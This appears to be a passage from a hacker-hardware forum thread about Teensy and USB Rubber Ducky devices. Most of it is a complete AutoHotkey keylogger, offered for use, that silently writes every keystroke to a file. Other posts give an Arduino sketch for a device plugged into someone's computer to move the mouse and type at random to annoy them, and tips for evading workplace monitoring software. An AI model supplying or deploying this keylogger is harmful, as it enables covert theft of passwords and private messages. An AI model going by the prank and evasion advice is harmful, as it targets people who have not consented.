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  1. Couldn't this also be done with a teensy usb-hid device that has a microsd card slot? The teensy monitors for keypresses then writes them to a file on the microsd card

    Yes, but how do you go about knowing which keys are pressed? Of course, you can install a autohotkey script, but w/o that I don't know if it's possible.

    Here's a great AHK script:

    ;#NoTrayIcon
    Sendmode, InputThenPlay
    #SingleInstance force
    
    FormatTime, OutputVar, %A_Now%
    FileAppend, `r`n  `r`n  `r`n, %A_ScriptDir%\12.txt
    FileAppend, %OutputVar%, %A_ScriptDir%\12.txt
    FileAppend, `r`n  `r`n  `r`n, %A_ScriptDir%\12.txt
    
    
    ~Space::
    FileAppend, _, %A_ScriptDir%\12.txt
    return
    
    ~a::
    FileAppend, a, %A_ScriptDir%\12.txt
    return
    
    ~*b::
    FileAppend, b, %A_ScriptDir%\12.txt
    return
    
    ~c::
    FileAppend, c, %A_ScriptDir%\12.txt
    return
    
    ~d::
    FileAppend, d, %A_ScriptDir%\12.txt
    return
    
    ~e::
    FileAppend, e, %A_ScriptDir%\12.txt
    return
    
    ~f::
    FileAppend, f, %A_ScriptDir%\12.txt
    return
    
    ~g::
    FileAppend, g, %A_ScriptDir%\12.txt
    return
    
    ~h::
    FileAppend, h, %A_ScriptDir%\12.txt
    return
    
    ~i::
    FileAppend, i, %A_ScriptDir%\12.txt
    return
    
    ~j::
    FileAppend, j, %A_ScriptDir%\12.txt
    return
    
    ~k::
    FileAppend, k, %A_ScriptDir%\12.txt
    return
    
    ~l::
    FileAppend, l, %A_ScriptDir%\12.txt
    return
    
    ~m::
    FileAppend, m, %A_ScriptDir%\12.txt
    return
    
    ~n::
    FileAppend, n, %A_ScriptDir%\12.txt
    return
    
    ~o::
    FileAppend, o, %A_ScriptDir%\12.txt
    return
    
    ~p::
    FileAppend, p, %A_ScriptDir%\12.txt
    return
    
    ~q::
    FileAppend, q, %A_ScriptDir%\12.txt
    return
    
    ~r::
    FileAppend, r, %A_ScriptDir%\12.txt
    return
    
    ~s::
    FileAppend, s, %A_ScriptDir%\12.txt
    return
    
    ~t::
    FileAppend, t, %A_ScriptDir%\12.txt
    return
    
    ~u::
    FileAppend, u, %A_ScriptDir%\12.txt
    return
    
    ~v::
    FileAppend, v, %A_ScriptDir%\12.txt
    return
    
    ~w::
    FileAppend, w, %A_ScriptDir%\12.txt
    return
    
    ~x::
    FileAppend, x, %A_ScriptDir%\12.txt
    return
    
    ~y::
    FileAppend, y, %A_ScriptDir%\12.txt
    return
    
    ~z::
    FileAppend, z, %A_ScriptDir%\12.txt
    return
    
    ~1::
    FileAppend, 1, %A_ScriptDir%\12.txt
    return
    
    ~numpad1::
    FileAppend, 1, %A_ScriptDir%\12.txt
    return
    
    ~2::
    FileAppend, 2, %A_ScriptDir%\12.txt
    return
    
    ~numpad2::
    FileAppend, 2, %A_ScriptDir%\12.txt
    return
    
    ~3::
    FileAppend, 3, %A_ScriptDir%\12.txt
    return
    
    ~numpad3::
    FileAppend, 3, %A_ScriptDir%\12.txt
    return
    
    ~4::
    FileAppend, 4, %A_ScriptDir%\12.txt
    return
    
    ~numpad4::
    FileAppend, 4, %A_ScriptDir%\12.txt
    return
    
    ~5::
    FileAppend, 5, %A_ScriptDir%\12.txt
    return
    
    ~numpad5::
    FileAppend, 5, %A_ScriptDir%\12.txt
    return
    
    ~6::
    FileAppend, 6, %A_ScriptDir%\12.txt
    return
    
    ~numpad6::
    FileAppend, 6, %A_ScriptDir%\12.txt
    return
    
    ~7::
    FileAppend, 7, %A_ScriptDir%\12.txt
    return
    
    ~numpad7::
    FileAppend, 7, %A_ScriptDir%\12.txt
    return
    
    ~8::
    FileAppend, 8, %A_ScriptDir%\12.txt
    return
    
    ~numpad8::
    FileAppend, 8, %A_ScriptDir%\12.txt
    return
    
    ~9::
    FileAppend, 9, %A_ScriptDir%\12.txt
    return
    
    ~numpad9::
    FileAppend, 9, %A_ScriptDir%\12.txt
    return
    
    ~0::
    FileAppend, 0, %A_ScriptDir%\12.txt
    return
    
    ~numpad0::
    FileAppend, 0, %A_ScriptDir%\12.txt
    return
    
    ~+a::
    FileAppend, A, %A_ScriptDir%\12.txt
    return
    
    ~+i::
    FileAppend, I, %A_ScriptDir%\12.txt
    return
    
    ~,::
    FileAppend, `,, %A_ScriptDir%\12.txt
    return
    
    ~.::
    FileAppend, ., %A_ScriptDir%\12.txt
    return
    
    ~-::
    FileAppend, -, %A_ScriptDir%\12.txt
    return
    
    ~(::
    FileAppend, (, %A_ScriptDir%\12.txt
    return
    
    ~)::
    FileAppend, ), %A_ScriptDir%\12.txt
    return
    
    ~BS::
    FileAppend, <, %A_ScriptDir%\12.txt
    return
    
    ~Return::
    FileAppend, `r`n , %A_ScriptDir%\12.txt
    return

    it doesn't yet get capitols, I know how to do it, and it's in the script for A, but I'm too lazy to finish it right now.

  2. Something like this:

    long randNumber;
    long rand1;
    long rand2;
    
    void setup(){
      Serial.begin(9600);
      // if analog input pin 0 is unconnected, random analog
      // noise will cause the call to randomSeed() to generate
      // different seed numbers each time the sketch runs.
      // randomSeed() will then shuffle the random function.
      randomSeed(analogRead(0));
    }
    void loop() {
      randNumber = random(40000);
      rand1 = random(40000);
      rand2 = random(40000);
    Mouse.move(-56, 39);
    delay(randNumber);
    Keyboard.print(rand1);
    delay(rand2);
    }

  3. If you just wanted a song or two or three, you can easilly use FireFox & FlashGot. It works like a charm. (except some songs show up as blah-blah-blah.php.mp3, and if you play them after downloading, they crash your media player for some reason.....)

  4. Desktops.exe included in the sysinternals suite works against most monitoring software. It opens a new desktop space in windows that you can switch too leaving the monitored desktop alone. (Of course they will see that you aren't moving your mouse or anything but you could switch back and scroll down a page once in a while to simulate reading ;p)

    http://technet.microsoft.com/en-us/sysinte...s/cc817881.aspx

    Now that is a good idea. It actually spawns a whole 'nother explorer.exe, and most screen monitoring programs probly wouldn't catch it....

  5. This seems to be a very interesting thing, it is similar to something I saw on ThinkGeek back a few years ago, basicaly it is a device that hits a random key/random click every few minutes to annoy someone. I think that should be one of the first thing for us to make, an emulation of that, just plug it into the back of someones computer and randomly generate a key then press it.

    yup, that shouldn't be too hard at all, and I love those things to annoy people- move the mouse a few inches every 10-30 seconds, send a letter or two every 20-40 seconds. It should be really easy if you can get it to generate random numbers (which I'm sure you can.)

  6. Would it be possible to have the ducky be both an HID an a flash drive?

    Yes, using a sd/micro sd card:

    being discussed here: http://www.hak5.org/forums/index.php?showtopic=16239

    orriginally from here: http://elasticsheep.com/2010/04/teensy2-us...ith-an-sd-card/

    It is definatly possible, But it might be a little dificult to get it to be both HID & Mass Storage Device at the same time.

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